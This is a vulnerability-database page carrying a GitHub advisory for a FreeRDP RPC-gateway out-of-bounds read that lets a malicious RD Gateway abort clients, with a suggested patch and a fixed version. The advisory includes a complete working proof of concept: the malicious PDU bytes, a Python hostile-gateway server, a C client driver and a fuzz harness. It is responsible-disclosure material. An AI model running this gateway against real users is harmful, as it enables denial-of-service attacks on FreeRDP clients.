Read the docs

Out-of-bounds read in FreeRDP RPC gateway transport aborts clients

Priority MEDIUM 46CWE-125Published · Updated

Key facts

Attack vector
Network
Privileges required
None
User interaction
Passive
Attack complexity
Low
Attack requirements
None
Impact type
Denial of service
Confidentiality · integrity · availability
None · None · High
Fix status
Fixed

Attack profile from CVSS 4.0 · GHSA-pj8w-fh79-f438. Fix status from GitHub. Impact type from CWE-125 and the CVSS impact.

Summary

FreeRDP up to and including 3.30.0 mishandles a truncated result list in the RPC-over-HTTP gateway transport. The rts_read_result() function checks two bytes but then reads four, an out-of-bounds read (CWE-125). A malicious RD Gateway can send a short BIND_ACK before a session exists and crash any client that uses this transport.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

Description from the GitHub advisory

**Affected:** | version | status | | --- | --- | | master `9415f2d11e4cbc4e25d3d9fd0c4271e2e05d5c58` (`libfreerdp3.so.3.30.1`) | affected; default configuration — `-DCMAKE_BUILD_TYPE=Release`, nothing said about assertions | ## Summary A malicious RD Gateway aborts any FreeRDP client that uses the RPC-over-HTTP transport, with a 62-byte BIND_ACK, before a session exists. `rts_read_result()` validates two bytes and then reads four, and `p_result_list.n_results` is a byte the gateway supplies, so a gateway that announces one result and ends the fragment two bytes into it makes the parser read past the fragment it just received. On a default build the second read trips `WINPR_ASSERT(Stream_GetRemainingLength(_s) >= typesize)` inside `stream_read_u16_le()`, and `winpr_int_assert()` is `WINPR_NORETURN`, so the process aborts — 5 of 5 runs against a stock Release build over a real TLS connection. With verbose assertions disabled it is a two-byte over-read instead. ## Root cause `libfreerdp/core/gateway/rts.c`. The wire form of `p_result_t` is `result` (2) + `reason` (2) + `transfer_syntax` (uuid 16 + version 4). The check covers the first field only; `transfer_syntax` is separately checked by `rts_read_syntax_id()`, so the gap is exactly and only the four-for-two in the middle. The loop count comes from the wire. (`// <--` marks our annotation; the `/* … */` comments below are yours.) ```c 740: static BOOL rts_read_result(wStream* s, p_result_t* result, BOOL silent) 741: { 742: WINPR_ASSERT(s); 743: WINPR_ASSERT(result); 744: 745: if (!Stream_ConditionalCheckAndLogRequiredLength(TAG, s, 2, silent)) 746: return FALSE; 747: 748: const UINT16 res = Stream_Get_UINT16(s); // <-- the 2 bytes that were checked ... 762: const UINT16 reason = Stream_Get_UINT16(s); // <-- 2 more, never checked ``` ```c 784: static BOOL rts_read_result_list(wStream* s, p_result_list_t* list, BOOL silent) ... 791: Stream_Read_UINT8(s, list->n_results); /* count */ ... 804: if (!rts_read_result(s, result, silent)) ``` ## Proof of concept Build stock, run the gateway from the appendix, point a client at it — the appendix also has the ~40-line embedder used here, since this build has no display client. The whole PDU is 62 bytes and every byte of it is ordinary bind_ack framing except the truncation. ```sh git rev-parse HEAD # 9415f2d11e4cbc4e25d3d9fd0c4271e2e05d5c58 is what the numbers below came from cmake -S . -B build -G Ninja -DCMAKE_BUILD_TYPE=Release -DCMAKE_INSTALL_PREFIX="$PWD/install" \ -DBUILD_SHARED_LIBS=ON -DBUILD_TESTING=OFF -DWITH_CLIENT_SDL=OFF -DWITH_X11=OFF \ -DWITH_SERVER=OFF -DWITH_SAMPLE=OFF -DWITH_PROXY=OFF -DWITH_SHADOW=OFF \ -DWITH_FFMPEG=OFF -DWITH_SWSCALE=OFF -DWITH_ALSA=OFF -DWITH_PULSE=OFF \ -DWITH_CUPS=OFF -DWITH_FUSE=OFF cmake --build build --parallel && cmake --install build # WITH_VERBOSE_WINPR_ASSERT is left at its ON default (cmake/CommonConfigOptions.cmake:15) python3 hostile-rpc-gateway.py --port 8443 --variant pov & ./stock-gateway-driver 8443 ``` ``` 00000000 05 00 0c 03 10 00 00 00 3e 00 00 00 00 00 00 00 |........>.......| 00000010 f8 0f f8 0f 00 00 00 00 1e 00 41 41 41 41 41 41 |..........AAAAAA| 00000020 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA| 00000030 41 41 41 41 41 41 41 41 01 00 00 00 00 00 |AAAAAAAA......| ptype=0x0c BIND_ACK, frag_length=0x003e=62, auth_length=0, max_xmit/max_recv=0x0ff8, sec_addr "AAAA...", then n_results=1 — and the fragment ends after the entry's first two bytes, where a complete entry is 24. ``` ``` [FATAL][com.freerdp.winpr.assert] - [winpr_int_assert]: ((Stream_GetRemainingLength(_s) >= typesize)) [winpr/include/winpr/stream.h:stream_read_u16_le:199] ``` `FREERDP_LOCAL` hides these symbols from `dladdr`, so the logged backtrace resolves through `nm` (`rts_read_result` is static and inlined into its caller in a Release build): ``` [... 2 frames: winpr_unwind_backtrace -> winpr_log_backtrace_ex ...] 2 0xcce11 winpr_int_assert +0x81 [libwinpr3.so.3] 3 0x1d6456 rts_read_result_list +0x476 [libfreerdp3.so.3] 4 0x1d0823 rts_read_pdu_header_ex +0x2c3 [libfreerdp3.so.3] 5 0x1cd34a rpc_client_out_channel_recv +0x32a [libfreerdp3.so.3] 6 0x1c03b7 tsg_connect +0x267 [libfreerdp3.so.3] 7 0x192e61 transport_connect +0x4e1 [libfreerdp3.so.3] [... 3 frames: nego_tcp_connect -> nego_connect -> rdp_client_connect ...] 11 0x156cbc freerdp_connect +0x44c [libfreerdp3.so.3] 12 0x13a4 main +0x1e4 [stock-gateway-driver] [... 2 frames: __libc_start_main -> _start ...] ``` ## Impact Denial of service against the client, in the default configuration, reached from the first RPC fragment a gateway may send: `rpc_client.c:390` parses every fragment on the OUT channel with no state check on the PDU type, and the BIND_ACK carries the server's half of the CredSSP exchange, so nothing has authenticated the gateway at that point. The victim must be induced to connect through a gateway the attacker controls — an `.rdp` file with `gatewayhostname:s:`, or a link — so this is phishing-shaped, not remote-unauthenticated. The client dies before the session exists, on every attempt, and there is nothing for it to fall back to: 5 of 5, deterministic, in the shipped default. ## Suggested fix A suggestion: check what the function reads. Applied to the same tree, rebuilt and reinstalled, the PoV becomes a clean connection failure in 3 of 3 runs and both controls below are unchanged; the hunk also applies to the `3.30.0` tag under `git apply --check`, which we did not build. The structural alternative — validating `n_results` against the bytes remaining before allocating the array at `rts.c:795` — is a hardening choice we did not test. ```diff --- a/libfreerdp/core/gateway/rts.c +++ b/libfreerdp/core/gateway/rts.c @@ -742,7 +742,10 @@ static BOOL rts_read_result(wStream* s, p_result_t* result, BOOL silent) WINPR_ASSERT(s); WINPR_ASSERT(result); - if (!Stream_ConditionalCheckAndLogRequiredLength(TAG, s, 2, silent)) + /* p_result_t is result(2) + reason(2); the transfer_syntax that follows is + * length-checked by rts_read_syntax_id(). Checking only 2 here lets a peer + * end the fragment between the two reads. */ + if (!Stream_ConditionalCheckAndLogRequiredLength(TAG, s, 4, silent)) return FALSE; const UINT16 res = Stream_Get_UINT16(s); ``` --- ## Verification Every row is the same build, gateway and driver; only the PDU changes, and `--variant` names the one that produced it. Exit status is `subprocess.run().returncode`, where a negative value is a signal: `$?` cannot tell SIGABRT from an ordinary `exit 134`, and this client exits non-zero on every failed connect, so that distinction carries the result. | build | `--variant` | runs | outcome | | --- | --- | --- | --- | | Release, shared, assertions at their default, no sanitizer | `pov` | 5 | SIGABRT, `returncode=-6`, always at `stream_read_u16_le:199` | | same | `ctrl-empty` (self-consistent empty result list) | 3 | exit 1, no signal | | same | `ctrl-full` (one **complete** 24-byte result entry) | 3 | exit 1, no signal | | same + the patch above | `pov`, `ctrl-empty`, `ctrl-full` | 3 each | exit 1, no signal — the new check rejects the truncated entry and still accepts the complete one | | same, patch reverted | `pov` | 2 | SIGABRT again | | same tree rebuilt with `-DWITH_VERBOSE_WINPR_ASSERT=OFF` | `pov` | 5 | exit 1, no signal — the read happens and goes nowhere | ``` pov run 1: returncode=-6 SIGNAL 6 ((Stream_GetRemainingLength(_s) >= typesize)) [winpr/include/winpr/stream.h:stream_read_u16_le:199] ctrl-full run 1: returncode=1 exit 1, no signal driver: connect=0 last_error=0x0002000C ``` Nothing is timing- or allocator-sensitive; every row is unanimous. `ctrl-full` is the control that matters: same function, same loop, same two reads, nothing truncated, no abort. The third build is the one showing the read is bounded — same gateway, same driver, one cmake option different: ``` WITH_VERBOSE_WINPR_ASSERT:BOOL=OFF run 1: returncode=1 exit 1, no signal [Stream_GetRemainingLength]: wStream API misuse: stream was read out of bounds [Stream_GetRemainingLength]: wStream API misuse: stream was read out of bounds [Stream_GetRemainingLength]: wStream API misuse: stream was read out of bounds [Stream_CheckAndLogRequiredLengthWLogExVa]: [rts_read_uuid(libfreerdp/core/gateway/rts.c:536)] invalid length, got 0, require at least 16 [element size=1] ``` That is `Stream_GetRemainingLength()` clamping to 0 once the pointer passes the length (`winpr/libwinpr/utils/stream.c:268`), so every later check fails and the drift cannot accumulate. The over-read is only visible *as* an out-of-bounds access when the stream is sized to the fragment instead of being the reused receive buffer. That is a fourth build and not a shipped one: your in-tree `TestFuzzCoreClient`, `-fsanitize=address`, assertions off, our harness calling `rts_read_pdu_header()` on exactly `frag_length` bytes. ``` ==3846==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7b70805e00be at pc 0x55b7029b9893 bp 0x7ffd3114fb90 sp 0x7ffd3114fb88 READ of size 2 at 0x7b70805e00be thread T0 #0 0x55b7029b9892 in winpr_Data_Get_UINT16 build/./winpr/include/winpr/endian.h:67:9 [... 2 frames: stream_read_u16_le -> Stream_Get_UINT16 ...] #3 0x55b7029b9892 in rts_read_result build/./libfreerdp/core/gateway/rts.c:762:24 #4 0x55b7029b9892 in rts_read_result_list build/./libfreerdp/core/gateway/rts.c:804:9 #5 0x55b7029ac2d4 in rts_read_pdu_bind_ack build/./libfreerdp/core/gateway/rts.c:942:7 #6 0x55b7029ac2d4 in rts_read_pdu_header_ex build/./libfreerdp/core/gateway/rts.c:1221:9 [... 7 frames: our harness, aflpp_driver, libc ...] 0x7b70805e00be is located 0 bytes after 62-byte region [0x7b70805e0080,0x7b70805e00be) ``` The 62-byte region is the fragment; the read lands one byte past it. Frames `#7` and below are ours. <details> <summary>The AddressSanitizer report, verbatim through <code>SUMMARY:</code> (shadow-byte dump and legend omitted), plus the harness that produced it — the container paths and the harness frames are ours, and <code>TestFuzzCoreClient.c</code> there is our copy, not the file of that name in your tree</summary> ``` ================================================================= ==3846==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7b70805e00be at pc 0x55b7029b9893 bp 0x7ffd3114fb90 sp 0x7ffd3114fb88 READ of size 2 at 0x7b70805e00be thread T0 #0 0x55b7029b9892 in winpr_Data_Get_UINT16 build/./winpr/include/winpr/endian.h:67:9 #1 0x55b7029b9892 in stream_read_u16_le build/./winpr/include/winpr/stream.h:201:20 #2 0x55b7029b9892 in Stream_Get_UINT16 build/./winpr/include/winpr/stream.h:369:10 #3 0x55b7029b9892 in rts_read_result build/./libfreerdp/core/gateway/rts.c:762:24 #4 0x55b7029b9892 in rts_read_result_list build/./libfreerdp/core/gateway/rts.c:804:9 #5 0x55b7029ac2d4 in rts_read_pdu_bind_ack build/./libfreerdp/core/gateway/rts.c:942:7 #6 0x55b7029ac2d4 in rts_read_pdu_header_ex build/./libfreerdp/core/gateway/rts.c:1221:9 #7 0x55b7029a7dda in fuzz_rts_pdu /src/FreeRDP/libfreerdp/core/test/TestFuzzCoreClient.c:43:7 #8 0x55b7029a7a8b in LLVMFuzzerTestOneInput /src/FreeRDP/libfreerdp/core/test/TestFuzzCoreClient.c #9 0x55b70309ba19 in ExecuteFilesOnyByOne /src/aflplusplus/utils/aflpp_driver/aflpp_driver.c:267:7 #10 0x55b70309b819 in LLVMFuzzerRunDriver /src/aflplusplus/utils/aflpp_driver/aflpp_driver.c #11 0x55b70309b3bb in main /src/aflplusplus/utils/aflpp_driver/aflpp_driver.c:323:10 #12 0x7f1081352082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082) (BuildId: 5792732f783158c66fb4f3756458ca24e46e827d) #13 0x55b7028c171d in _start (/out/TestFuzzCoreClient+0x1cb71d) 0x7b70805e00be is located 0 bytes after 62-byte region [0x7b70805e0080,0x7b70805e00be) allocated by thread T0 here: #0 0x55b702964ea4 in malloc /src/llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:67:3 #1 0x55b7029a7d17 in fuzz_rts_pdu /src/FreeRDP/libfreerdp/core/test/TestFuzzCoreClient.c:31:27 #2 0x55b7029a7a8b in LLVMFuzzerTestOneInput /src/FreeRDP/libfreerdp/core/test/TestFuzzCoreClient.c #3 0x55b70309ba19 in ExecuteFilesOnyByOne /src/aflplusplus/utils/aflpp_driver/aflpp_driver.c:267:7 SUMMARY: AddressSanitizer: heap-buffer-overflow build/./winpr/include/winpr/endian.h:67:9 in winpr_Data_Get_UINT16 ``` The harness that produced it, in full: it replaces `libfreerdp/core/test/TestFuzzCoreClient.c`, is built by your own `-DBUILD_FUZZERS=ON` with `-fsanitize=address`, and was run on the 62-byte PDU shown above prefixed with one selector byte (`00`). ```c /* FreeRDP RD Gateway parser harness — RTS/RPC PDU header path */ #include <freerdp/config.h> #include <winpr/crt.h> #include <winpr/stream.h> #include <stdlib.h> #include <string.h> #include "../gateway/rts.h" #include "../gateway/rpc.h" /* Feed rts_read_pdu_header a buffer that is EXACTLY as long as the caller * claims it received, so ASan's redzone lands on the real boundary. */ static void fuzz_rts_pdu(const uint8_t* body, size_t bodyLen, int truncate_to_frag) { size_t useLen = bodyLen; if (truncate_to_frag) { /* frag_length lives at offset 8, little endian (packed_drep drives the * byte order in the spec, but FreeRDP always reads LE here). */ if (bodyLen < 10) return; const size_t frag = (size_t)body[8] | ((size_t)body[9] << 8); if (frag > bodyLen) return; useLen = frag; } uint8_t* buf = (uint8_t*)malloc(useLen ? useLen : 1); if (!buf) return; memcpy(buf, body, useLen); { wStream sbuffer = { 0 }; wStream* s = Stream_StaticConstInit(&sbuffer, buf, useLen); rpcconn_hdr_t header; memset(&header, 0, sizeof(header)); if (rts_read_pdu_header(s, &header)) { /* parsed ok */ } rts_free_pdu_header(&header, FALSE); } free(buf); } int LLVMFuzzerTestOneInput(const uint8_t* Data, size_t Size) { if (Size < 2) return 0; const uint8_t sel = Data[0]; const uint8_t* body = Data + 1; const size_t bodyLen = Size - 1; switch (sel & 0x0f) { case 0: fuzz_rts_pdu(body, bodyLen, 1); break; case 1: fuzz_rts_pdu(body, bodyLen, 0); break; default: fuzz_rts_pdu(body, bodyLen, 1); break; } return 0; } ``` </details> ## Scope and limits One commit was built and run: master `9415f2d`, Linux, Release, shared libraries, no sanitizer, in two assertion configurations. `3.30.0`, `3.22.0` and `3.0.0` carry the same two-checks-four-reads shape by inspection of the tagged sources; none were built, so they are not in the table above. FreeRDP 2.x has the same shape with plain `assert()` rather than `WINPR_ASSERT`. Not tested: static linkage, Windows, macOS, or any downstream embedder — though the driver is deliberately the shape those use, `freerdp_connect()` with no display. The claim that the over-read stays inside the receive buffer is computed from the source (`Stream_New(nullptr, 0x0FF8)` once, never grown, and `frag_length >= max_recv_frag` rejected), not measured; it points *down*, and it is the reason this is reported as a denial of service rather than as a heap overflow. The gateway here is ours; nothing shown here suggests a real RD Gateway product can be made to emit this PDU. Finally, this is **not** `rts_read_auth_verifier`: `CVE-2026-33952` covers the `auth_length` assertion at `rts.c:282`, which is fixed and which we do not reach; we searched all 100 published FreeRDP advisories full-text for `rts_read_result`, `rts_read_result_list`, `p_result_list` and `n_results` and found no match. ## Severity * **CVSS 3.1 (preferred):** `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H` — **6.5, Medium**. `UI:R` carries it: the victim has to be induced to connect through the attacker's gateway. * **CVSS 4.0:** `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N` — **7.1, High**; v4.0 bands availability-only network defects a step higher. We keep v3.1 preferred so this lines up with `CVE-2026-33952`, which you graded Medium for the same shape in the same file. CWE-617 (Reachable Assertion) in the default configuration, reached via CWE-1284 (Improper Validation of Specified Quantity in Input), and CWE-125 (Out-of-bounds Read) where verbose assertions are compiled out. Suggested primary: **CWE-617**. ## Credit Found with an LLM-driven harness generator (afb) built on your own in-tree target `TestFuzzCoreClient`, extended to call the gateway parsers directly. `libfreerdp/core/CMakeLists.txt:156` appends the gateway sources unconditionally, so they are linked into the 10 of your 14 in-tree fuzz targets that link `freerdp` and driven by none of them: each drives only what a default-initialised context can call, and OSS-Fuzz's coverage report has `rts.c` at 0 of 1868 lines. Everything used above is in this report. ## Appendix: the two scripts <details> <summary>The hostile gateway — <code>python3 hostile-rpc-gateway.py --port 8443 --variant pov</code></summary> Builds the PDU and speaks enough ncacn_http to deliver it. Three details were measured rather than guessed, and each one silently produces "does not reproduce" if you get it wrong: the WebSocket attempt must be closed **without** an HTTP status (a 503 makes `rdg_establish_data_connection` fail the whole connect instead of falling back to RPC); both channels need a syntactically valid NTLM CHALLENGE, since `ncacn_http.c` hardcodes `NTLM_SSP_NAME` and has no anonymous path; and the OUT channel's `200 OK` must not be sent until the IN channel has authenticated, or the client is in neither handled state and parses `HTTP/1.1 200 OK` as an RPC PDU. ```python #!/usr/bin/env python3 import argparse, base64, pathlib, socket, ssl, struct, subprocess, sys, tempfile, threading, time SEC_ADDR = b"A" * 30 TRAILER = bytes(8) # auth_type, auth_level, auth_pad_length, auth_reserved, auth_context_id def build_pdu(variant): """An MS-RPCE bind_ack. rts_read_auth_verifier() seeks to frag_length - auth_length - 8 for the sec_trailer, so a well-formed PDU ends with those 8 bytes; the pov has none because it stops earlier.""" body = struct.pack("<HHI", 0x0FF8, 0x0FF8, 0) # max_xmit, max_recv, assoc_group_id body += struct.pack("<H", len(SEC_ADDR)) + SEC_ADDR # sec_addr (port_any) while (16 + len(body)) % 4: # rts_align_stream(s, 4) body += b"\x00" if variant == "pov": body += bytes([1, 0]) + b"\x00\x00" + struct.pack("<H", 0) # 2 of the entry's 4 bytes tail = b"" elif variant == "ctrl-empty": body += bytes([0, 0]) + b"\x00\x00" tail = TRAILER else: body += bytes([1, 0]) + b"\x00\x00" body += struct.pack("<HH", 0, 0) + bytes(range(16)) + struct.pack("<I", 1) tail = TRAILER frag = 16 + len(body) + len(tail) header = (bytes([5, 0, 0x0C, 0x03]) + b"\x10\x00\x00\x00" + struct.pack("<HHI", frag, 0, 0)) # frag_length, auth_length, call_id return header + body + tail def ntlm_challenge(): """CHALLENGE_MESSAGE (MS-NLMP 2.2.1.2), no NEGOTIATE_VERSION so the payload is at 48.""" flags = (0x00000001 | 0x00000004 | 0x00000010 | 0x00000020 | 0x00000200 | 0x00008000 | 0x00020000 | 0x00080000 | 0x00800000 | 0x20000000 | 0x40000000 | 0x80000000) target = "GATEWAY".encode("utf-16-le") av = b"".join(struct.pack("<HH", i, len(v)) + v for i, v in ((2, target), (1, target), (0, b""))) return (b"NTLMSSP\x00" + struct.pack("<I", 2) + struct.pack("<HHI", len(target), len(target), 48) + struct.pack("<I", flags) + b"\x01\x23\x45\x67\x89\xab\xcd\xef" + bytes(8) + struct.pack("<HHI", len(av), len(av), 48 + len(target)) + target + av) def tls_context(): d = pathlib.Path(tempfile.mkdtemp(prefix="gw-")) crt, key = d / "c.pem", d / "k.pem" subprocess.run(["openssl", "req", "-x509", "-newkey", "rsa:2048", "-nodes", "-keyout", str(key), "-out", str(crt), "-days", "1", "-subj", "/CN=127.0.0.1", "-addext", "subjectAltName=IP:127.0.0.1"], check=True, capture_output=True) ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) ctx.load_cert_chain(str(crt), str(key)) ctx.set_ciphers("ALL:@SECLEVEL=0") return ctx def read_head(conn): buf = b"" while b"\r\n\r\n" not in buf and len(buf) < (1 << 16): chunk = conn.recv(8192) if not chunk: break buf += chunk return buf def main(): ap = argparse.ArgumentParser() ap.add_argument("--port", type=int, default=8443) ap.add_argument("--variant", default="pov", choices=["pov", "ctrl-empty", "ctrl-full"]) ap.add_argument("--seconds", type=float, default=25.0) args = ap.parse_args() pdu = build_pdu(args.variant) print(f"[gw] {args.variant}: {len(pdu)} bytes, frag_length=" f"{struct.unpack('<H', pdu[8:10])[0]}\n[gw] {pdu.hex()}", file=sys.stderr, flush=True) ctx = tls_context() srv = socket.socket() srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) srv.bind(("127.0.0.1", args.port)) srv.listen(8) in_done = threading.Event() deadline = time.monotonic() + args.seconds def handle(raw): try: conn = ctx.wrap_socket(raw, server_side=True) except (ssl.SSLError, OSError): return conn.settimeout(max(1.0, deadline - time.monotonic())) try: head = read_head(conn) method = head.split(b" ", 1)[0].decode("ascii", "replace") if head else "" if method not in ("RPC_IN_DATA", "RPC_OUT_DATA"): print(f"[gw] dropping {method} (EOF, not 503) -> forces RPC fallback", file=sys.stderr, flush=True) return conn.sendall(b"HTTP/1.1 401 Unauthorized\r\nWWW-Authenticate: NTLM " + base64.b64encode(ntlm_challenge()) + b"\r\nContent-Length: 0\r\n\r\n") if b"NTLM" not in read_head(conn): return print(f"[gw] {method}: authenticated", file=sys.stderr, flush=True) if method == "RPC_IN_DATA": in_done.set() while time.monotonic() < deadline and conn.recv(65536): pass return if not in_done.wait(timeout=max(0.0, deadline - time.monotonic())): return time.sleep(0.3) conn.sendall(b"HTTP/1.1 200 OK\r\nContent-Type: application/rpc\r\n" b"Content-Length: 1073741824\r\n\r\n") time.sleep(0.3) print(f"[gw] injecting the {args.variant} fragment", file=sys.stderr, flush=True) conn.sendall(pdu) conn.recv(65536) except OSError: pass finally: try: conn.close() except OSError: pass while time.monotonic() < deadline: srv.settimeout(max(0.5, deadline - time.monotonic())) try: raw, _ = srv.accept() except (TimeoutError, socket.timeout): break threading.Thread(target=handle, args=(raw,), daemon=True).start() return 0 if __name__ == "__main__": sys.exit(main()) ``` </details> <details> <summary>The client — <code>cc -O2 -g -o stock-gateway-driver driver.c $(PKG_CONFIG_PATH=install/lib/pkgconfig pkg-config --cflags --libs freerdp3 winpr3) -Wl,-rpath,install/lib</code></summary> `freerdp_connect()` through the gateway, nothing else. Any client routed through the gateway with the RPC transport reaches the same code; this exists because the build above has no display client. This exact listing was built and run against the build above: `pov` aborts 5 of 5, `ctrl-empty` and `ctrl-full` exit cleanly 3 of 3 each. ```c #include <freerdp/freerdp.h> #include <freerdp/settings.h> #include <stdio.h> #include <stdlib.h> static DWORD verify_ignore(freerdp* i, const char* h, UINT16 p, const char* cn, const char* f, const char* s, const char* fp, DWORD fl) { (void)i; (void)h; (void)p; (void)cn; (void)f; (void)s; (void)fp; (void)fl; return 2; /* the gateway above is self-signed on purpose */ } int main(int argc, char** argv) { const unsigned port = (argc > 1) ? (unsigned)atoi(argv[1]) : 8443; freerdp* inst = freerdp_new(); if (!inst) return 70; inst->ContextSize = sizeof(rdpContext); if (!freerdp_context_new(inst)) return 71; rdpSettings* s = inst->context->settings; freerdp_settings_set_string(s, FreeRDP_ServerHostname, "127.0.0.1"); freerdp_settings_set_uint32(s, FreeRDP_ServerPort, 3389); freerdp_settings_set_string(s, FreeRDP_Username, "u"); freerdp_settings_set_string(s, FreeRDP_Password, "p"); freerdp_settings_set_string(s, FreeRDP_Domain, "d"); freerdp_settings_set_bool(s, FreeRDP_GatewayEnabled, TRUE); freerdp_settings_set_string(s, FreeRDP_GatewayHostname, "127.0.0.1"); freerdp_settings_set_uint32(s, FreeRDP_GatewayPort, port); freerdp_settings_set_bool(s, FreeRDP_GatewayHttpTransport, TRUE); freerdp_settings_set_bool(s, FreeRDP_GatewayHttpUseWebsockets, TRUE); freerdp_settings_set_bool(s, FreeRDP_GatewayRpcTransport, TRUE); /* set these explicitly: GatewayUseSameCredentials alone leaves a headless * embedder with "No credentials provided - using nullptr identity" and NTLM * then fails with SEC_E_NO_CREDENTIALS before any gateway PDU is parsed */ freerdp_settings_set_string(s, FreeRDP_GatewayUsername, "u"); freerdp_settings_set_string(s, FreeRDP_GatewayPassword, "p"); freerdp_settings_set_string(s, FreeRDP_GatewayDomain, "d"); freerdp_settings_set_bool(s, FreeRDP_IgnoreCertificate, TRUE); freerdp_settings_set_bool(s, FreeRDP_AutoAcceptCertificate, TRUE); inst->VerifyCertificateEx = verify_ignore; const BOOL ok = freerdp_connect(inst); fprintf(stderr, "driver: connect=%d last_error=0x%08X\n", (int)ok, freerdp_get_last_error(inst->context)); freerdp_disconnect(inst); freerdp_context_free(inst); freerdp_free(inst); return ok ? 0 : 1; /* a failed connect is expected; only a signal matters */ } ``` </details>

Why it matters now

Fix Fixed FreeRDP/FreeRDP: 3.31.0

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—FreeRDP/FreeRDP<= 3.30.03.31.0Patch availableGHSA-pj8w-fh79-f438
  • FreeRDP/FreeRDP Vendor— Affected <= 3.30.0 Fixed in 3.31.0 Patch available GHSA-pj8w-fh79-f438

Remediation

Update FreeRDP to version 3.31.0, the fixed version.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

  • Fix · GHSA-pj8w-fh79-f438 FreeRDP/FreeRDP Fixed in 3.31.0 Advisory →

Timeline

  1. 2026-11-12 Threatist record created from GHSA-pj8w-fh79-f438

References

Sources

This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences